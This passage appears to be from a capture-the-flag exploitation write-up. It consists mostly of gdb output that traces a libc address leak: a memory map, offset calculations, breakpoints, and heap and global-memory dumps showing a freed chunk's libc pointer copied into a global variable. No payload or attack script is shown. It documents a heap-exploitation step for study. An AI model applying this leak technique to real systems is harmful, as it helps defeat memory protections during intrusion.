      0x7fd2579d0000     0x7fd2579d4000     0x4000   0x1ba000 /lib/x86_64-linux-gnu/libc-2.19.so
      0x7fd2579d4000     0x7fd2579d6000     0x2000   0x1be000 /lib/x86_64-linux-gnu/libc-2.19.so
      0x7fd2579d6000     0x7fd2579db000     0x5000        0x0 
      0x7fd2579db000     0x7fd2579f1000    0x16000        0x0 /lib/x86_64-linux-gnu/libgcc_s.so.1
      0x7fd2579f1000     0x7fd257bf0000   0x1ff000    0x16000 /lib/x86_64-linux-gnu/libgcc_s.so.1
      0x7fd257bf0000     0x7fd257bf1000     0x1000    0x15000 /lib/x86_64-linux-gnu/libgcc_s.so.1
      0x7fd257bf1000     0x7fd257cd7000    0xe6000        0x0 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.19
      0x7fd257cd7000     0x7fd257ed6000   0x1ff000    0xe6000 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.19
      0x7fd257ed6000     0x7fd257ede000     0x8000    0xe5000 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.19
      0x7fd257ede000     0x7fd257ee0000     0x2000    0xed000 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.19
      0x7fd257ee0000     0x7fd257ef5000    0x15000        0x0 
      0x7fd257ef5000     0x7fd257f18000    0x23000        0x0 /lib/x86_64-linux-gnu/ld-2.19.so
      0x7fd2580f8000     0x7fd2580fd000     0x5000        0x0 
      0x7fd258114000     0x7fd258117000     0x3000        0x0 
      0x7fd258117000     0x7fd258118000     0x1000    0x22000 /lib/x86_64-linux-gnu/ld-2.19.so
      0x7fd258118000     0x7fd258119000     0x1000    0x23000 /lib/x86_64-linux-gnu/ld-2.19.so
      0x7fd258119000     0x7fd25811a000     0x1000        0x0 
      0x7ffe6668e000     0x7ffe666af000    0x21000        0x0 [stack]
      0x7ffe66744000     0x7ffe66746000     0x2000        0x0 [vvar]
      0x7ffe66746000     0x7ffe66748000     0x2000        0x0 [vdso]
  0xffffffffff600000 0xffffffffff601000     0x1000        0x0 [vsyscall]
(gdb) p/x 0x00007fd2579d47b8 - 0x7fd257616000
$1 = 0x3be7b8

...

Code Block
titleLeak libc address
(gdb) x/12gx 0x609FC0
0x609fc0:	0x000000000105e200	0x0000000000000000
0x609fd0:	0x0000000000000000	0x0000000000000000
0x609fe0:	0xaaaa0000aaaaa800	0x50000100002aaaaa
0x609ff0:	0x5554000155555555	0x0000000000000055
0x60a000:	0x0000000000000000	0x0000000000000000
0x60a010:	0x0000000000000000	0x0000000000000000
(gdb) b *0x4016C9
Breakpoint 1 at 0x4016c9
(gdb) b *0x4017FC
Breakpoint 2 at 0x4017fc
(gdb) c
Continuing.

Breakpoint 2, 0x00000000004017fc in ?? ()
(gdb) c
Continuing.



//D19
Breakpoint 2, 0x00000000004017fc in ?? ()
(gdb) x/12gx 0x609FC0
0x609fc0:	0x000000000105e280	0x000000000105e2c0
0x609fd0:	0x000000000105e380	0x0000000000000000
0x609fe0:	0xaaaa0000aaaaa800	0x50000100002aaaaa
0x609ff0:	0x5554000155555555	0x0000000000000055
0x60a000:	0x0000000000000000	0x0000000000000000
0x60a010:	0x0000000000000000	0x0000000000000400
(gdb) c
Continuing.

//regret
Breakpoint 2, 0x00000000004016c5 in ?? ()
(gdb) x/2i $rip
=> 0x4016c5:	mov    0x40(%rax),%rdx
   0x4016c9:	mov    %rdx,0x208930(%rip)        # 0x60a000
(gdb) set disassembly-flavor intel 
(gdb) x/2i $rip
=> 0x4016c5:	mov    rdx,QWORD PTR [rax+0x40]
   0x4016c9:	mov    QWORD PTR [rip+0x208930],rdx        # 0x60a000
(gdb) i r rax
rax            0xdd5280	14504576
(gdb) x/18gx 0xdd5280
0xdd5280:	0x0000000000000000	0x0000000000000031
0xdd5290:	0x0000000000dd5340	0x0000000000dcd3d0
0xdd52a0:	0x0000000000000000	0x0000000000000000
0xdd52b0:	0x240b2f4828c52f0b	0x0000000000000091
0xdd52c0:	0x00007fcad9e447b8	0x00007fcad9e447b8
0xdd52d0:	0x0000000000000000	0x0000000000000000
0xdd52e0:	0xaaaa0000aaaaa800	0x50000100002aaaaa
0xdd52f0:	0x5554000155555555	0x0000000000000055
0xdd5300:	0x0000000000000000	0x0000000000000000
(gdb) x/gx 0xdd5280 + 0x40
0xdd52c0:	0x00007fcad9e447b8
(gdb) ni
0x00000000004016c9 in ?? ()
(gdb)  i r rip
rip            0x4016c9	0x4016c9
(gdb) p/x 0x208930 + 0x4016c9
$1 = 0x609ff9
(gdb) x/12gx 0x609FC0
0x609fc0:	0x0000000000000000	0x0000000000000031
0x609fd0:	0x0000000000dd5340	0x0000000000dcd3d0
0x609fe0:	0x0000000000000000	0x0000000000000000
0x609ff0:	0x240b2f4828c52f0b	0x0000000000000091
0x60a000:	0x0000000000000000	0x0000000000000000
0x60a010:	0x0000000000000000	0x0000000000000400
(gdb) ni
0x00000000004016d0 in ?? ()
(gdb) x/12gx 0x609FC0
0x609fc0:	0x0000000000000000	0x0000000000000031
0x609fd0:	0x0000000000dd5340	0x0000000000dcd3d0
0x609fe0:	0x0000000000000000	0x0000000000000000
0x609ff0:	0x240b2f4828c52f0b	0x0000000000000091
0x60a000:	0x00007fcad9e447b8	0x0000000000000000
0x60a010:	0x0000000000000000	0x0000000000000400
(gdb) p/x 0x208930 + 0x4016d0
$2 = 0x60a000

...